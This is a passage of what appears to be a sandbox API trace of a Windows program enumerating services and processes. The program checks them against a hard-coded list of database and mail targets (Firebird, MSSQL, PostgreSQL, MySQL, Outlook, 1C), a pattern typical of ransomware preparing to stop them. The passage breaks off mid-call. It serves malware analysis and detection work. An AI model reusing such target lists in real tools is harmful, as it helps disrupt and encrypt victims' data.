[0260.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0260.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0260.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0260.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0260.648] lstrlenW (lpString="ProfSvc") returned 7 [0260.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0260.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0260.649] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0260.649] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0260.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0260.649] lstrlenW (lpString="RpcEptMapper") returned 12 [0260.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.649] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0260.649] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0260.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0260.649] lstrlenW (lpString="RpcSs") returned 5 [0260.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0260.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0260.649] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0260.650] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0260.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0260.650] lstrlenW (lpString="SamSs") returned 5 [0260.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0260.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0260.650] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0260.650] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0260.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0260.650] lstrlenW (lpString="Schedule") returned 8 [0260.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0260.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0260.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0260.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0260.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0260.651] lstrlenW (lpString="SENS") returned 4 [0260.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0260.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0260.651] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0260.651] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0260.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0260.651] lstrlenW (lpString="ShellHWDetection") returned 16 [0260.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.651] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0260.651] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0260.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0260.652] lstrlenW (lpString="Spooler") returned 7 [0260.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0260.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0260.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0260.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0260.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0260.652] lstrlenW (lpString="SysMain") returned 7 [0260.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0260.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0260.652] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0260.652] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0260.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0260.653] lstrlenW (lpString="Themes") returned 6 [0260.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0260.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0260.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0260.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0260.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0260.653] lstrlenW (lpString="TrkWks") returned 6 [0260.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0260.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0260.653] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0260.654] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0260.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0260.654] lstrlenW (lpString="UxSms") returned 5 [0260.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0260.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0260.654] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0260.657] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0260.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0260.658] lstrlenW (lpString="WdiServiceHost") returned 14 [0260.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0260.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0260.658] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0260.658] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0260.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0260.658] lstrlenW (lpString="WdiSystemHost") returned 13 [0260.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0260.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0260.658] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0260.658] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0260.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0260.658] lstrlenW (lpString="Winmgmt") returned 7 [0260.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0260.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0260.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0260.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0260.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0260.659] lstrlenW (lpString="WPDBusEnum") returned 10 [0260.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0260.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0260.659] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0260.659] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0260.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0260.659] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0260.660] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a4 [0260.665] Process32FirstW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.666] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.667] lstrlenW (lpString="System") returned 6 [0260.667] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0260.667] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0260.667] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0260.667] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0260.668] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0260.668] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0260.668] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0260.668] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.669] lstrlenW (lpString="smss.exe") returned 8 [0260.669] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0260.669] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0260.669] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0260.669] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0260.669] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0260.669] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0260.669] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0260.669] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.906] lstrlenW (lpString="csrss.exe") returned 9 [0260.906] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0260.906] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0260.906] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0260.906] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0260.906] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0260.906] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0260.906] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0260.906] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.907] lstrlenW (lpString="wininit.exe") returned 11 [0260.907] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0260.907] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0260.908] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0260.908] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0260.908] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0260.908] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0260.908] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0260.908] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.909] lstrlenW (lpString="csrss.exe") returned 9 [0260.909] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0260.909] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0260.909] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0260.909] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0260.909] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0260.909] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0260.909] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0260.909] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.910] lstrlenW (lpString="winlogon.exe") returned 12 [0260.910] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0260.910] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0260.910] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0260.911] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0260.911] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.912] lstrlenW (lpString="services.exe") returned 12 [0260.912] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.913] lstrlenW (lpString="lsass.exe") returned 9 [0260.913] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0260.914] lstrlenW (lpString="lsm.exe") returned 7 [0260.914] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.915] lstrlenW (lpString="svchost.exe") returned 11 [0260.915] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.916] lstrlenW (lpString="svchost.exe") returned 11 [0260.916] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.917] lstrlenW (lpString="svchost.exe") returned 11 [0260.917] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.918] lstrlenW (lpString="svchost.exe") returned 11 [0260.919] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.920] lstrlenW (lpString="svchost.exe") returned 11 [0260.920] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.921] lstrlenW (lpString="audiodg.exe") returned 11 [0260.921] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.922] lstrlenW (lpString="svchost.exe") returned 11 [0260.922] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.923] lstrlenW (lpString="explorer.exe") returned 12 [0260.924] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.925] lstrlenW (lpString="dwm.exe") returned 7 [0260.925] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.926] lstrlenW (lpString="svchost.exe") returned 11 [0260.926] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0260.927] lstrlenW (lpString="winhost.exe") returned 11 [0260.927] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.928] lstrlenW (lpString="spoolsv.exe") returned 11 [0260.928] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.930] lstrlenW (lpString="svchost.exe") returned 11 [0260.930] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0260.930] lstrlenW (lpString="taskhost.exe") returned 12 [0260.931] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0260.932] lstrlenW (lpString="reader_sl.exe") returned 13 [0260.932] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0260.933] lstrlenW (lpString="taskhost.exe") returned 12 [0260.933] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0260.934] lstrlenW (lpString="dllhost.exe") returned 11 [0260.934] Process32NextW (in: hSnapshot=0x3a4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0260.936] CloseHandle (hObject=0x3a4) returned 1 [0260.936] Sleep (dwMilliseconds=0x1f4) [0261.517] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e270 [0261.518] EnumServicesStatusExW (in: hSCManager=0x62e270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0261.519] GetLastError () returned 0xea [0261.519] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0261.519] EnumServicesStatusExW (in: hSCManager=0x62e270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0261.521] CloseServiceHandle (hSCObject=0x62e270) returned 1 [0261.521] lstrlenW (lpString="Appinfo") returned 7 [0261.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0261.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0261.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0261.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0261.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0261.522] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0261.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.522] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0261.522] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0261.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0261.522] lstrlenW (lpString="AudioSrv") returned 8 [0261.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0261.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0261.523] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0261.523] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0261.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0261.523] lstrlenW (lpString="BFE") returned 3 [0261.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0261.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0261.523] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0261.523] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0261.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0261.523] lstrlenW (lpString="CryptSvc") returned 8 [0261.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0261.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0261.524] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0261.524] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0261.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0261.524] lstrlenW (lpString="CscService") returned 10 [0261.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0261.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0261.524] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0261.524] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0261.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0261.524] lstrlenW (lpString="DcomLaunch") returned 10 [0261.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.525] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0261.525] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0261.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0261.525] lstrlenW (lpString="Dhcp") returned 4 [0261.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0261.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0261.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0261.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0261.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0261.525] lstrlenW (lpString="Dnscache") returned 8 [0261.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0261.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0261.526] lstrcmpiW (lpString1="sqlwriter", 